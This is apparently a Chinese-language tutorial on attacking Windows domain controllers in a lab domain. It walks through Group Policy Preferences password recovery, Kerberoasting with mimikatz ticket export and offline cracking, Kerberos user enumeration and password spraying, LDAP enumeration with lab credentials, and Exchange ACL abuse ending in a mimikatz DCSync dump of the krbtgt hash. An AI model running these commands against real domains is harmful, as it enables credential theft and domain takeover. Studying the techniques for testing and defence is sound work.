攻击域控的几种常规方法

1. 组策略首选项和SYSVOL中的密码

在域内有一个默认的共享路径:\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL路径

此路径所有域内主机都可以访问,里面存放的是一些配置文件等。

如果域管理员使用组策略批量管理时,填入了密码,则此密码会被放入该共享文件夹中,虽然是被加密的,但是微软公开了其AES加密密钥,所以很容易就可以解开密码。

攻击演示

运行输入gpmc.msc,新建一个组策略对象:

新建GPO

编辑刚刚新建的组策略对象,新建一个本地用户:

新建本地用户

之后添加Domain Computers到组策略组中:

添加Domain Computers到策略组

之后,就可以在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\<组策略对象对应ID>\Machine\Preferences\Groups中找到Groups.xml:

groups.xml

利用

Groups.xml中的cpassword项即是被加密的用户密码,使用PowerSploitGet-GPPPassword模块可破解,它同时也可以自动搜索所有共享文件夹里的密码并还原。

也可使用kali命令gpp-decrypt破解:

破解cpassword

在Windows Server 2012及以后的版本中,此方法失效,补丁KB2962486解决了此问题,密码将不再保存在组策略首选项中。

同样,在NETLOGON目录中的某些脚本也有可能包含着账号密码。

2. Kerberoasting

即Kerberos TGS服务票证离线破解。
攻击者可以获取TGS服务票据,此票据是使用目标服务的NTLM hash加密生成的,加密算法为RC4-HMAC。如果用户的口令长度不够或不够复杂,我们就可以模拟加密过程,类似破解MD5一样,生成不同的TGS作对比。

域内的所有主机和域用户都可以请求SPN,在获取到有价值的SPN后,任何域内用户都可以向域内的所有服务请求TGS,之后对其进行暴力破解。

攻击流程:

  1. 查询SPN,找到有价值的SPN,即注册在域用户账户(Users)下且权限较高
  2. 请求并导出TGS
  3. 破解

首先来看SPN,kerberos身份验证使用SPN将服务实例与服务登录账户相关联,是服务实例的唯一标识符。
SPN分为两种:

  1. 当一个服务的权限为Local System或Network Service,SPN注册在机器账户下
  2. 当一个服务的权限为域用户,SPN注册在域用户账户下
    在Windows域内,默认情况下普通机器账户有权限注册SPN,而普通域用户账号没有权限。

查询SPN:setspn -Q */*
查询SPN
对于我们来说,有价值的SPN即在域用户下注册的SPN,因为机器账户不能用于远程连接,而且密码也非常复杂。

为了演示,先在本机上建立一个注册在域用户下的SPN。
setspn的命令格式如下:

Setspn -s http/<computer-name>.<domain-name> <domain-user-account>  

-s参数验证是否有重复项。
本地添加一个SQL server服务:
添加SQL server服务

利用

请求SPN:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.god.org" 

利用mimikatz导出票据,有普通域用户权限即可导出:

mimikatz # kerberos::list /export

使用GitHub - nidem/kerberoast里的tgsrepcrack.py离线破解票据:

python3 tgsrepcrack.py password.txt "0-40e00000-keke@krbtgt~GOD.ORG-GOD.ORG.kirbi"

也可以利用impacket工具包里的GetUserSPNs.py来获取哈希再利用john或hashcat破解,具体演示可以在Hack The Box-Active | 白袍的小行星看到。

如果得到一个有权限注册SPN的域账户,可以手动注册SPN再进行Kerberoasting.

3. 对域用户进行密码喷射

密码喷射即对不同用户进行同一个弱密码猜解,适合拥有大量用户名但是不适合单个暴力破解的情景。
我们可以通过kerberos服务错误代码来枚举用户名:

  • 账户启用:KDC_ERR_PREAUTH_REQUIRED
  • 账户锁定/禁用:KDC_ERR_CLIENT_REVOKED
  • 账户不存在:KDC_ERR_C_PRINCIPAL_UNKNOWN

枚举域用户

利用nmap脚本进行扫描:

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='<DOMAIN>',userdb=<USERFILE> DC
nmap扫描

或者使用msf的模块,auxiliary/gather/kerberos_enumusers:

msf扫描

利用

得到域用户列表后,还应该了解一些关于域用户密码信息,防止爆破次数过多对账户造成影响。
使用GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing,命令格式如下:

kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERFILE> <PASSWORD>
kerbrute爆破

4. 爆破LDAP

同样地,在进行爆破LDAP时也需要知道两点:账户密码策略和账户名列表。

密码策略

在密码策略中,我们主要关注以下几部分:

  • Maximum password age,表示密码过期的时间,默认为42天
  • Minimum password length,表示密码的最小长度,默认为7
  • Account lockout duration,表示被锁定的帐户在自动解锁前保持锁定的分钟数,默认为30
  • Account lockout threshold,表示导致用户帐户被锁定的失败登录尝试次数,默认为5
  • Reset account lockout counter after,表示失败登录尝试计数器重置为0次错误登录尝试之前,失败登录尝试后必须经过的分钟数,默认为30

如果在域外,可以使用kali的ldapsearch,前提是可以访问DC的389端口,并且至少有一个域用户的账号密码

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" | grep lockoutDuration -A 5

ldapsearch连接
其中maxPwdAgelockoutDurationlockOutObservationWindow的值除以10000000即为秒数。

如果在域内,我们至少需要域内一台主机的权限,通过powershell获取:

import-module .\Microsoft.ActiveDirectory.Management.dll
Get-ADDefaultDomainPasswordPolicy

这里需要加载这个dll,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

查询结果

用户名列表

在域外,同样使用ldapsearch,也同样需要能访问DC的389端口,并且有一个域用户账号密码。

查询所有域用户:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
查询结果

查询所有域机器:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
所有域机器

查询所有组:

ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=group))" CN | grep cn
所有组

或者使用PowerView,需要同样条件,并且可以在域内查询使用。

利用

在域内,我们可以使用 DomainPasswordSpray 来进行爆破。

Invoke-DomainPasswordSpray -UserList .\users.txt -Password password -Verbose 

脚本演示
虽然报错了,但是不影响爆破出结果。
还可以筛选出被锁定和禁用的用户,test用户已经被禁用:

Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts
脚本演示

域外,可以利用ldapsearch加简单循环达到暴力破解的目的。

5. Exchange服务器特定ACL滥用

安装完Exchange后,默认会自动增加一个Microsoft Exchange Security Groups的Organizational Unit,其中有Exchange Trusted SubsystemExchange Windows Permission这两个组,前者是后者的成员:

安装后的OU

在默认情况下,Exchange Windows Permissions对安装Exchange的域对象具有WriteDACL权限,那么其成员Exchange Trusted Subsystem也会继承此权限。
如果域对象有WriteDACL权限,那么就可以为指定域用户添加ACE,使其获得利用DCSync导出hash的权限。
只要获得以下三组任意用户权限,都可以完成上述操作:

  • Exchange Trusted Subsystem
  • Exchange Windows Permission
  • Organization Management

利用

将test用户加入Exchange Trusted Subsystem组,此时我们已知test用户的口令。

test已加入对应组

注意:test用户需有以下任一用户的权限:

  • Administrator组用户
  • Domain Admins组用户
  • Enterprise Admins组用户
  • 域控制器的计算机账户

在演示中,test用户为本地管理员权限,域内普通用户权限。
使用mimikatz导出krbtgt用户的hash:

mimikatz privilege::debug "lsadump::dcsync /domain:god.org /user:krbtgt /csv" exit

得到krbtgt的hash
拿到hash便可以制作黄金票据,从而提权。

Invoke-ACLPwn 项目可以自动查找不安全的ACL并将用户添加到相应组进行利用。

小结

出于实用性的原因,ms14-068之类的手段没有写入,之后会单独分析这个漏洞,同样还有黄金票据等。